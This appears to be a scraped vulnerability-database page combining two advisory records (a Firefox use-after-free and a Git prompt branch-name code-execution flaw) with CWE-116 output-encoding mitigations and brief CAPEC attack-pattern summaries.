{
"affected": [],
"aliases": [
"CVE-2023-29543"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-416"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T17:15:12Z",
"severity": "HIGH"
},
"details": "An attacker could have caused memory corruption and a potentially exploitable use-after-free of a pointer in a global object\u0027s debugger vector. This vulnerability affects Firefox for Android \u003c 112, Firefox \u003c 112, and Focus for Android \u003c 112.",
"id": "GHSA-6r82-wmjx-mx6j",
"modified": "2024-04-04T04:30:44Z",
"published": "2023-06-02T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29543"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1816158"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6VHM-RFMV-GF4J
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27contrib/completion/git-prompt.sh in Git before 1.9.3 does not sanitize branch names in the PS1 variable, allowing a malicious repository to cause code execution.
{
"affected": [],
"aliases": [
"CVE-2014-9938"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-20T00:59:00Z",
"severity": "HIGH"
},
"details": "contrib/completion/git-prompt.sh in Git before 1.9.3 does not sanitize branch names in the PS1 variable, allowing a malicious repository to cause code execution.",
"id": "GHSA-6vhm-rfmv-gf4j",
"modified": "2022-05-13T01:27:07Z",
"published": "2022-05-13T01:27:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9938"
},
{
"type": "WEB",
"url": "https://github.com/git/git/commit/8976500cbbb13270398d3b3e07a17b8cc7bff43f"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2004"
},
{
"type": "WEB",
"url": "https://github.com/njhartwell/pw3nage"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.